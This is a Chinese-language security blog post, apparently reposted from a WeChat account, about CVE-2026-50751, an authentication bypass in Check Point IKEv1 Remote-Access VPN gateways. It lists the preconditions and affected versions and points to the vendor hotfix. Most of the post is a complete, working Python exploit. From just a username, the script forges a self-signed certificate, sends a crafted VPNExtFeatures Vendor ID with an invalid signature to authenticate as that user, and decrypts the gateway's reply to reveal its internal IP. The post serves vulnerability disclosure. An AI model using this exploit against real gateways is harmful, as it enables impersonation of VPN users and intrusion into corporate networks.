首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-50751|Check Point VPN身份验证绕过漏洞(POC)

CVE-2026-50751|Check Point VPN身份验证绕过漏洞(POC)

作者头像
信安百科
发布2026-06-24 13:07:47
发布2026-06-24 13:07:47
1610
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Check Point Software Technologies 是全球领先的网络安全解决方案提供商,其 Security Gateway 系列产品广泛应用于企业边界防护、远程访问 VPN 和移动接入等场景。作为企业网络的第一道防线,Check Point VPN 网关承担着远程用户安全接入企业内网的核心任务,其认证机制的安全性直接影响整个企业网络的安全边界。

0x01 漏洞描述

该漏洞的根因在于Check Point Security Gateway在处理IKEv1密钥交换中的 VPNExtFeatures Vendor ID负载时存在逻辑缺陷。根据 watchTowr Labs的逆向分析,网关从客户端提供的Vendor ID负载中读取末尾四个字节,并将其直接写入认证标志寄存器(地址偏移0x4bc4)。

攻击者通过构造特制的IKEv1协商请求,携带伪造的Vendor ID负载即可在未提供有效密码或证书的情况下,以任意已配置的远程访问用户身份建立完整VPN 会话。攻击流量可通过UDP 500/4500端口(标准 IKE)或TCP 443端口(Visitor Mode / TCPT)到达网关。

代码语言:javascript
复制
漏洞利用前提条件:
1、网关启用 Remote Access VPN 或 Mobile Access 功能模块
2、网关允许来自旧版 Remote Access 客户端的连接(Legacy client support 已启用)
3、IKEv1 协议未被禁用(未配置为 IKEv2-Only)
4、网关未强制要求机器证书认证

0x02 CVE编号

CVE-2026-50751

0x03 影响版本

产品系列

受影响版本

Gaia OS (Security Gateway)

>= R80.40 且 < R81.20

Gaia OS (Security Gateway)

>= R81.20 且未安装最新补丁

Gaia OS (Security Gateway)

>= R82 且未安装最新补丁

Gaia OS (Security Gateway)

>= R82.00.X 且未安装最新补丁

Gaia OS (Security Gateway)

>= R82.10 且未安装最新补丁

Gaia Embedded (Spark Firewall)

>= R80.20.00 且 < R81.10.17

Gaia Embedded (Spark Firewall)

>= R80.20.00 且 < R82.00.10

R80.20.X

所有版本

R80.40

所有版本

R81

所有版本

R81.10 / R81.10.X

所有版本

0x04 漏洞详情

POC:

https://github.com/watchtowrlabs/watchTowr-vs-Check-Point-CVE-2026-50751

代码语言:javascript
复制
#!/usr/bin/env python3
#
# watchTowr-vs-Check-Point-CVE-2026-50751.py
# Check Point IKEv1 Remote-Access VPN certificate-authentication bypass (CVE-2026-50751).
#
# Given only a valid Remote-Access --username, authenticate as that user with NO private key, NO
# password and NO valid certificate. The vulnerable iked skips verify_peer_auth/verifyMessagePhase1
# (it reads attacker-controlled flags from the VPNExtFeatures Vendor ID, bit 0x4), so neither the
# certificate's signature (proof of possession) NOR its trust chain is checked -- only that the
# subject DN resolves to a provisioned user. We forge a self-signed certificate whose subject is
# CN=<username>,OU=<ou>,O=<ICA-O> (the ICA organisation is the gateway's own, auto-derived from its
# public TLS certificate) and present it with an invalid signature. A granted phase-1 means the
# gateway has authenticated us AS that user (it saves the ISAKMP SA under the user's DN) with no
# private key and no password. (Cert mode then runs a separate certificate-based XAUTH step -- also
# passwordless -- which a full Office-Mode session would additionally complete.) Works over IKE
# (UDP 500/4500) and over Visitor-Mode "SSL" (raw TCP/443, TCPT). The hotfix (sk185033) restores the
# signature check.
#
# Requires: pip install cryptography
#
import argparse
import socket
import struct
import os
import sys
import time
import enum
import hashlib
import hmac
import ssl
import datetime
import logging
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Configure logging
logger = logging.getLogger(__name__)

# ---------------------------------------------------------------------------
# IKEv1 phase-1 cryptography (RFC 2409): key schedule + AES-256-CBC.
# Transform we negotiate: ENCR=AES-256-CBC, PRF/hash=SHA1, DH MODP-1024 (group 2).
# ---------------------------------------------------------------------------
class IKEv1Keys:
    """IKEv1 phase-1 key schedule (RFC 2409 sec 5) for signature auth, AES-256 + SHA1."""

    # Diffie-Hellman MODP group 2 (1024-bit), RFC 2409.
    DH_P = int(
        "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
        "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
        "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
        "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF", 16)
    DH_G = 2

    def __init__(self, priv, my_pub, icookie, rcookie, ni, nr, server_ke, enc_keylen=32, iv_len=16):
        gxy = pow(server_ke, priv, self.DH_P).to_bytes(128, "big")            # shared DH secret g^xy
        self.skeyid = self.prf(ni + nr, gxy)                                  # sig: prf(Ni|Nr, g^xy)
        skeyid_d = self.prf(self.skeyid, gxy + icookie + rcookie + b"\x00")
        skeyid_a = self.prf(self.skeyid, skeyid_d + gxy + icookie + rcookie + b"\x01")
        skeyid_e = self.prf(self.skeyid, skeyid_a + gxy + icookie + rcookie + b"\x02")
        self.enc_key = self._expand(skeyid_e, enc_keylen)                # expand SKEYID_e -> AES-256 key
        # Phase-1 IV seed = SHA1(g^xi | g^xr) truncated to the cipher block size.
        self.iv = hashlib.sha1(my_pub.to_bytes(128, "big") + server_ke.to_bytes(128, "big")).digest()[:iv_len]

    @staticmethod
    def _expand(skeyid_e, length):
        # RFC 2409: lengthen a too-short key with iterated PRF chaining (Ka = prf(K, Ka-1)).
        if len(skeyid_e) >= length:
            return skeyid_e[:length]
        block = IKEv1Keys.prf(skeyid_e, b"\x00")
        out = block
        while len(out) < length:
            block = IKEv1Keys.prf(skeyid_e, block)
            out += block
        return out[:length]

    def enc(self, plaintext, iv):
        cipher = Cipher(algorithms.AES(self.enc_key), modes.CBC(iv), backend=default_backend())
        op = cipher.encryptor()
        return op.update(plaintext) + op.finalize()

    def dec(self, ciphertext, iv):
        cipher = Cipher(algorithms.AES(self.enc_key), modes.CBC(iv), backend=default_backend())
        op = cipher.decryptor()
        return op.update(ciphertext) + op.finalize()

    @staticmethod
    def prf(key, data):
        # IKEv1 pseudo-random function for the negotiated SHA1 hash = HMAC-SHA1.
        return hmac.new(key, data, hashlib.sha1).digest()

# ---------------------------------------------------------------------------
# ISAKMP / IKEv1 protocol constants (RFC 2408 / RFC 2409)
# ---------------------------------------------------------------------------
class PayloadType(enum.IntEnum):
    NONE = 0
    SECURITY_ASSOCIATION = 1
    KEY_EXCHANGE = 4
    IDENTIFICATION = 5
    CERTIFICATE = 6
    SIGNATURE = 9
    NONCE = 10
    NOTIFY = 11
    VENDOR_ID = 13

class ExchangeType(enum.IntEnum):
    MAIN_MODE = 2
    INFORMATIONAL = 5
    TRANSACTION = 6          # XAUTH second factor (phase 1.5)

class AuthMethod(enum.IntEnum):
    RSA_SIGNATURE = 3                 # certificate auth (no XAUTH password)

ID_DER_ASN1_DN = 9                    # IKEv1 ID type: an X.501 distinguished name (the cert subject)
CERT_ENCODING_X509_SIG = 4            # Certificate payload encoding: X.509 cert (signature)

# IKEv1 transform attribute values for the proposal we offer (a Check Point cert-realm gateway
# accepts): AES-256-CBC / SHA1 / DH MODP-1024 (group 2) / RSA signature.
ENCR_AES_CBC = 7
HASH_SHA1 = 2
DH_GROUP_2 = 2
AES_KEY_LEN = 256

ISAKMP_FLAG_ENCRYPTION = 0x01
NON_ESP_MARKER = b"\x00\x00\x00\x00"     # prefixed on UDP/4500 to distinguish IKE from ESP

# Check Point "Visitor Mode" TCPT tunnel: raw TCP on 443 (NOT TLS), 8-byte frame header
# [u32 be payload-length][u32 be type] then payload.  type 1=handshake, 2=IKE, 4=ESP.
TCPT_TYPE_HANDSHAKE = 1
TCPT_TYPE_IKE = 2

# The CVE-2026-50751 trigger: the Check Point "VPNExtFeatures" Vendor ID (16-byte magic) + a 4-byte
# value. The vulnerable iked writes those bytes to *(state+0x4bc4); bit 0x4 makes verify_peer_auth
# skip verifyMessagePhase1 (the certificate signature / proof-of-possession check).
VPNEXTFEATURES_MAGIC = bytes.fromhex("3cf187b2474029ea46ac7fd0eaf289f5")
VPNEXTFEATURES_VID = VPNEXTFEATURES_MAGIC + struct.pack(">I", 0x00000004)

# ---------------------------------------------------------------------------
# Forged identity: a self-signed certificate built from just a username
# ---------------------------------------------------------------------------
class ForgedIdentity:
    """A self-signed certificate whose subject DN is CN=<username>,OU=<ou>,O=<ICA-O> (DER order
    O, OU, CN). The CVE skips both the signature and the trust chain, so the certificate need not be
    real and its signature is sent as invalid random bytes; only the subject DN (the username) has to
    match a provisioned Remote-Access user."""

    def __init__(self, username, org, ou="users"):
        self.subject = x509.Name([
            x509.NameAttribute(NameOID.ORGANIZATION_NAME, org),
            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, ou),
            x509.NameAttribute(NameOID.COMMON_NAME, username),
        ])
        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)   # throwaway, never used
        now = datetime.datetime.utcnow()
        cert = (x509.CertificateBuilder().subject_name(self.subject).issuer_name(self.subject)
                .public_key(key.public_key()).serial_number(x509.random_serial_number())
                .not_valid_before(now - datetime.timedelta(days=1))
                .not_valid_after(now + datetime.timedelta(days=3650)).sign(key, hashes.SHA256()))
        self.cert_der = cert.public_bytes(serialization.Encoding.DER)
        self.subject_dn_der = self.subject.public_bytes()

    def __str__(self):
        return self.subject.rfc4514_string()

    @staticmethod
    def derive_org(host, timeout=8):
        """Auto-derive the ICA organisation (O=) from the gateway's own public TLS certificate."""
        ctx = ssl._create_unverified_context()
        with socket.create_connection((host, 443), timeout=timeout) as raw, \
             ctx.wrap_socket(raw, server_hostname=host) as s:
            der = s.getpeercert(binary_form=True)
        cert = x509.load_der_x509_certificate(der)
        for attr in list(cert.issuer) + list(cert.subject):   # the ICA is the issuer; subject carries O= too
            if attr.oid == NameOID.ORGANIZATION_NAME:
                return attr.value
        raise RuntimeError("no organization (O=) found in the gateway certificate")

# ---------------------------------------------------------------------------
# Result of the exploit attempt
# ---------------------------------------------------------------------------
class RunnerStatus(enum.Enum):
    NO_RESPONSE = enum.auto()       # nothing answered on the wire
    NO_CERT_REALM = enum.auto()     # gateway did not accept certificate (RSA-SIG) auth
    BYPASSED = enum.auto()          # phase-1 authenticated as the user (forged cert + invalid signature)
    REJECTED = enum.auto()          # gateway rejected (patched, or the username is not provisioned)
    INCONCLUSIVE = enum.auto()      # no decisive answer (rate-limited / dropped)

# ---------------------------------------------------------------------------
# Minimal IKEv1 Main-Mode client (certificate auth, AES-256/SHA1/DH-2), UDP or TCPT/443
# ---------------------------------------------------------------------------
class Ike:
    _HDR = struct.Struct(">8s8sBBBBII")   # i-cookie, r-cookie, next, ver, exch, flags, msg-id, len
    _GEN = struct.Struct(">BBH")          # generic payload header: next, reserved, length

    def __init__(self, host, port, timeout, tcpt=False):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.tcpt = tcpt                       # Visitor-Mode raw-TCP tunnel on 443
        self.natt = (port == 4500) and not tcpt
        self.icookie = os.urandom(8)
        self.rcookie = b"\x00" * 8
        self.priv = None                       # DH/nonce material, set when sending msg3
        self.pub = None
        self.nonce = None
        self.tcpt_ok = False
        if tcpt:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(timeout)
            self.sock.connect((host, port))
            self.tcpt_ok = self._tcpt_handshake()
        else:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(timeout)
            # Source port 500 is nicer to some peers but needs root; fall back to ephemeral.
            try:
                self.sock.bind(("0.0.0.0", 500))
            except (PermissionError, OSError):
                self.sock.bind(("0.0.0.0", 0))

    # --- wire helpers ------------------------------------------------------
    def _payload(self, next_type, body):
        return self._GEN.pack(next_type, 0, 4 + len(body)) + body

    def _read_exact(self, n):
        buf = b""
        while len(buf) < n:
            try:
                c = self.sock.recv(n - len(buf))
            except socket.timeout:
                return None
            if not c:
                return None
            buf += c
        return buf

    def _tcpt_handshake(self):
        """Open the Visitor-Mode tunnel. Returns True if the gateway accepts it (status 0)."""
        self.sock.sendall(struct.pack(">II", 12, TCPT_TYPE_HANDSHAKE) + struct.pack(">III", 1, 2, 1))
        hdr = self._read_exact(8)
        if not hdr:
            return False
        ln, typ = struct.unpack(">II", hdr)
        body = self._read_exact(ln) if 0 < ln <= 64 else b""
        return bool(typ == TCPT_TYPE_HANDSHAKE and body and len(body) >= 4
                    and struct.unpack(">I", body[:4])[0] == 0)

    def send(self, first_payload, exchange, flags, body):
        header = self._HDR.pack(self.icookie, self.rcookie, first_payload, 0x10,
                                exchange, flags, 0, 28 + len(body))
        packet = header + body
        if self.tcpt:                          # wrap in a TCPT type-2 (IKE) frame
            self.sock.sendall(struct.pack(">II", len(packet), TCPT_TYPE_IKE) + packet)
        elif self.natt:
            self.sock.sendto(NON_ESP_MARKER + packet, (self.host, self.port))
        else:
            self.sock.sendto(packet, (self.host, self.port))

    def recv(self):
        """Receive one ISAKMP message and return a parsed dict, or None on timeout."""
        if self.tcpt:
            for _ in range(8):                 # skip any non-IKE TCPT frames (keepalive, etc.)
                hdr = self._read_exact(8)
                if not hdr:
                    return None
                ln, typ = struct.unpack(">II", hdr)
                payload = self._read_exact(ln) if 0 < ln <= 65535 else b""
                if payload is None:
                    return None
                if typ == TCPT_TYPE_IKE:
                    return self._parse(payload)
            return None
        try:
            data, _ = self.sock.recvfrom(65535)
        except socket.timeout:
            return None
        if self.natt and data[:4] == NON_ESP_MARKER:
            data = data[4:]
        return self._parse(data)

    def _parse(self, data):
        if len(data) < 28:
            return None
        icookie, rcookie, first, ver, exch, flags, msgid, length = self._HDR.unpack(data[:28])
        return {
            "rcookie": rcookie,
            "exchange": exch,
            "flags": flags,
            "encrypted": bool(flags & ISAKMP_FLAG_ENCRYPTION),
            "first": first,                 # first payload type (to walk a decrypted body)
            "payloads": self._walk(data[28:], first),
            "body": data[28:],              # raw payload blob (still encrypted for msg6)
        }

    def _walk(self, blob, first_type):
        """Walk a chain of generic payloads -> list of (payload_type, payload_body)."""
        payloads = []
        offset, next_type = 0, first_type
        while next_type != PayloadType.NONE and offset + 4 <= len(blob):
            nxt, _reserved, plen = self._GEN.unpack(blob[offset:offset + 4])
            if plen < 4 or offset + plen > len(blob):
                break
            payloads.append((next_type, blob[offset + 4:offset + plen]))
            next_type = nxt
            offset += plen
        return payloads

    # --- message builders --------------------------------------------------
    def build_sa_payload(self):
        """Single IKEv1 phase-1 proposal: AES-256 / SHA1 / DH-2 / RSA-signature (certificate) auth."""
        attrs = b"".join(struct.pack(">HH", 0x8000 | t, v) for t, v in [
            (1, ENCR_AES_CBC),                  # Encryption algorithm
            (14, AES_KEY_LEN),                  # Key length (AES-256)
            (2, HASH_SHA1),                     # Hash algorithm
            (3, AuthMethod.RSA_SIGNATURE),      # Authentication method (certificate)
            (4, DH_GROUP_2),                    # Diffie-Hellman group
        ])
        transform = struct.pack(">BBH", 0, 0, 8 + len(attrs)) + struct.pack(">BBBB", 1, 1, 0, 0) + attrs
        # ISAKMP SA proposal: SPI size MUST be 0 (the cookies are the SPI for phase 1).
        proposal = struct.pack(">BBHBBBB", 0, 0, 8 + len(transform), 1, 1, 0, 1) + transform
        # DOI = IPSEC(1), Situation = SIT_IDENTITY_ONLY(1)
        return struct.pack(">II", 1, 1) + proposal

    def send_msg1(self):
        """msg1: SA proposal (RSA-SIG) + the VPNExtFeatures VID (bit 0x4 set)."""
        body = self._payload(PayloadType.VENDOR_ID, self.build_sa_payload())
        body += self._payload(PayloadType.NONE, VPNEXTFEATURES_VID)
        self.send(PayloadType.SECURITY_ASSOCIATION, ExchangeType.MAIN_MODE, 0, body)

    def send_msg3(self):
        """msg3: KE (our DH public) + Ni (nonce)."""
        self.priv = int.from_bytes(os.urandom(128), "big") % IKEv1Keys.DH_P
        self.pub = pow(IKEv1Keys.DH_G, self.priv, IKEv1Keys.DH_P)
        self.nonce = os.urandom(32)
        body = self._payload(PayloadType.NONCE, self.pub.to_bytes(128, "big"))
        body += self._payload(PayloadType.NONE, self.nonce)
        self.send(PayloadType.KEY_EXCHANGE, ExchangeType.MAIN_MODE, 0, body)

    def send_msg5(self, keys, forged):
        """msg5 (encrypted): ID (forged subject DN) + CERT (self-signed) + an invalid signature."""
        idii = struct.pack(">BBH", ID_DER_ASN1_DN, 0, 0) + forged.subject_dn_der
        cert = struct.pack(">B", CERT_ENCODING_X509_SIG) + forged.cert_der
        invalid_sig = os.urandom(256)                          # no private key -> junk signature
        inner = (self._payload(PayloadType.CERTIFICATE, idii)      # ID payload, next = CERT
                 + self._payload(PayloadType.SIGNATURE, cert)      # CERT payload, next = SIG
                 + self._payload(PayloadType.NONE, invalid_sig))   # SIG payload, next = NONE
        inner += b"\x00" * ((-len(inner)) % 16)                    # pad to AES block size
        ciphertext = keys.enc(inner, keys.iv)
        self.send(PayloadType.IDENTIFICATION, ExchangeType.MAIN_MODE, ISAKMP_FLAG_ENCRYPTION, ciphertext)
        return ciphertext[-16:]                                    # CBC IV the gateway uses for msg6


# ---------------------------------------------------------------------------
# Exploit
# ---------------------------------------------------------------------------
class Runner:

    @staticmethod
    def exploit(ike, forged, retries=1):
        """Complete IKEv1 certificate (RSA-SIG) phase-1 with the forged cert + invalid signature and
        report whether the gateway authenticated us as the user.

        Vulnerable iked: verify_peer_auth bit 0x4 skips verifyMessagePhase1 -> neither the signature
        nor the trust chain is checked -> if the subject DN resolves to a provisioned user, phase-1
        completes and the gateway saves the ISAKMP SA as that user -> BYPASSED. Patched iked:
        verifyMessagePhase1 rejects the invalid signature before any user lookup.
        """
        # --- msg1 -> msg2: offer the certificate (RSA-SIG) proposal + VPNExtFeatures bit 0x4 ---
        reply = None
        for attempt in range(retries + 1):
            logger.debug(f"[~] -> Main-Mode msg1 (RSA-SIG proposal + VPNExtFeatures VID) [try {attempt + 1}]")
            ike.send_msg1()
            reply = ike.recv()
            if reply is not None:
                break
            time.sleep(0.4)
        if reply is None:
            return RunnerStatus.NO_RESPONSE
        if reply["exchange"] != ExchangeType.MAIN_MODE or \
           not any(t == PayloadType.SECURITY_ASSOCIATION for t, _ in reply["payloads"]):
            return RunnerStatus.NO_CERT_REALM
        ike.rcookie = reply["rcookie"]

        # --- msg3 -> msg4: Diffie-Hellman exchange ---
        ike.send_msg3()
        msg4 = ike.recv()
        if msg4 is None:
            return RunnerStatus.INCONCLUSIVE
        server_ke = next((b for t, b in msg4["payloads"] if t == PayloadType.KEY_EXCHANGE), None)
        server_nonce = next((b for t, b in msg4["payloads"] if t == PayloadType.NONCE), None)
        if server_ke is None or server_nonce is None:
            return RunnerStatus.INCONCLUSIVE
        keys = IKEv1Keys(ike.priv, ike.pub, ike.icookie, ike.rcookie,
                         ike.nonce, server_nonce, int.from_bytes(server_ke, "big"))

        # --- msg5: forged certificate + invalid signature ---
        logger.debug("[~] -> msg5 (encrypted: forged ID + self-signed CERT + invalid SIG)")
        time.sleep(0.4)
        msg6_iv = ike.send_msg5(keys, forged)

        # --- observe: encrypted msg6 = authenticated as the user; NOTIFY = rejected ---
        for _ in range(6):
            reply = ike.recv()
            if reply is None:
                time.sleep(0.5)
                continue
            logger.debug(f"[~] <- exchange={reply['exchange']} encrypted={reply['encrypted']}")
            if reply["exchange"] == ExchangeType.INFORMATIONAL:
                return RunnerStatus.REJECTED
            if reply["exchange"] == ExchangeType.MAIN_MODE and reply["encrypted"]:
                # Decrypt the gateway's msg6 with the negotiated session key. This succeeds only if
                # we hold the genuine phase-1 key -> self-evident proof we are in the authenticated SA.
                Runner._prove_session(ike, keys, reply, msg6_iv)
                return RunnerStatus.BYPASSED
        return RunnerStatus.INCONCLUSIVE

    @staticmethod
    def _prove_session(ike, keys, msg6, iv):
        """Decrypt msg6 and log the gateway's internal IP (from its ID payload), recovered with the
        session key which proves the bypass yielded a real authenticated SA."""
        try:
            plain = keys.dec(msg6["body"], iv)
            ip = None
            for ptype, body in ike._walk(plain, msg6["first"]):
                if ptype == PayloadType.IDENTIFICATION and len(body) >= 4:
                    if body[0] == 1 and len(body) >= 8:               # ID_IPV4_ADDR
                        ip = ".".join(str(b) for b in body[4:8])
            if ip:
                logger.info(f"[#] Decrypting...")
                logger.info(f"[+] Gateway Internal IP: {ip}")
        except Exception as e:
            logger.debug(f"[~] msg6 decrypt failed ({e}); BYPASSED still holds (encrypted msg6 received)")


def main(args):
    banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Check-Point-CVE-2026-50751.py

        (*)  Check Point IKEv1 Remote-Access VPN certificate-auth bypass Detection Artifact Generator

          - McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-50751]

"""
    print(banner)

    logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO,
                        format="%(message)s", stream=sys.stdout)
    logging.info("[#] CVE-2026-50751 Check Point IKEv1 Remote-Access certificate-auth bypass")

    # Forge the victim's identity from just the username (the ICA O= is the gateway's own org).
    org = args.org
    if not org:
        logger.debug("[#] Deriving the gateway's ICA organisation (O=) from its TLS certificate...")
        try:
            org = ForgedIdentity.derive_org(args.rhost)
        except Exception as e:
            logger.error(f"[-] Could not derive the ICA O= from the gateway (pass --org): {e}")
            return
    logger.debug(f"[+] ICA organisation (O=) : {org!r}")
    forged = ForgedIdentity(args.username, org, args.ou)
    logger.debug(f"[+] Forged identity       : {forged}")
    logger.info("[+] Self-signed cert (untrusted); signature will be invalid (no private key)")

    # Connect: UDP for IKE, raw-TCP TCPT for Visitor-Mode/443.
    use_tcpt = args.tcpt or args.rport == 443
    proto = "tcp/tcpt" if use_tcpt else "udp"
    logger.info(f"[#] Connecting via {proto} ...")
    try:
        ike = Ike(args.rhost, args.rport, args.timeout, tcpt=use_tcpt)
    except OSError as e:
        logger.error(f"[-] Cannot connect to {args.rhost}:{args.rport} ({e})")
        return
    if use_tcpt:
        if not ike.tcpt_ok:
            logger.error("[-] No Check Point Visitor-Mode (TCPT) tunnel on this port")
            return
        logger.info("[+] Visitor-Mode (TCPT) tunnel open (raw TCP, IKE-over-TCPT)")

    # Run the bypass.
    logger.info(f"[#] Authenticating as '{args.username}' with the forged certificate + invalid signature...")
    result = Runner.exploit(ike, forged, args.retries)

    if result == RunnerStatus.BYPASSED:
        logger.info(f"[+] [BYPASSED] Gateway authenticated us as '{args.username}'. CVE-2026-50751 certificate-authentication bypass confirmed.")
    elif result == RunnerStatus.NO_CERT_REALM:
        logger.error("[-] [NO_CERT_REALM] Gateway did not accept the certificate (RSA-SIG) proposal "
                     "(not in Certificate / Certificate-with-enrollment / Mixed mode, or it requires "
                     "a non-default IKE transform)")
    elif result == RunnerStatus.REJECTED:
        logger.info(f"[-] [REJECTED] Gateway rejected. On a VULNERABLE gateway this usually means "
                    f"'{args.username}' is not a provisioned RA user (try another); a PATCHED gateway "
                    f"rejects the forged signature.")
    elif result == RunnerStatus.NO_RESPONSE:
        logger.error("[-] [NO_RESPONSE] No response (no IKE service, filtered, down, or rate-limited)")
    else:
        logger.warning("[!] [INCONCLUSIVE] No decisive response (the IKE responder rate-limits; retry shortly)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Check Point IKEv1 RA VPN CVE-2026-50751 certificate-auth bypass")
    parser.add_argument("-rh", "--rhost", required=True, help="Remote host")
    parser.add_argument("-rp", "--rport", type=int, default=500, help="Remote port (UDP 500/4500, or TCP 443 for Visitor Mode)")
    parser.add_argument("-u", "--username", required=True, help="Remote-Access username to impersonate")
    parser.add_argument("--org", help="ICA organization (O=) DN suffix; auto-derived from the gateway cert if omitted")
    parser.add_argument("--ou", default="users", help="OU= component of the user DN (default: users)")
    parser.add_argument("-t", "--timeout", type=int, default=6, help="Timeout in seconds (default: 6)")
    parser.add_argument("-r", "--retries", type=int, default=1, help="msg1 retries (default: 1)")
    parser.add_argument("--tcpt", action="store_true", help="Use Check Point Visitor-Mode TCPT tunnel (raw TCP); auto-enabled for -rp 443")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    main(parser.parse_args())

0x05 参考链接

https://blog.checkpoint.com/security/check-point-releases-important-hotfix-for-vulnerabilities-in-deprecated-ikev1-vpn-protocol/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 漏洞描述
  • 0x02 CVE编号
  • 0x03 影响版本
  • 0x04 漏洞详情
  • 0x05 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档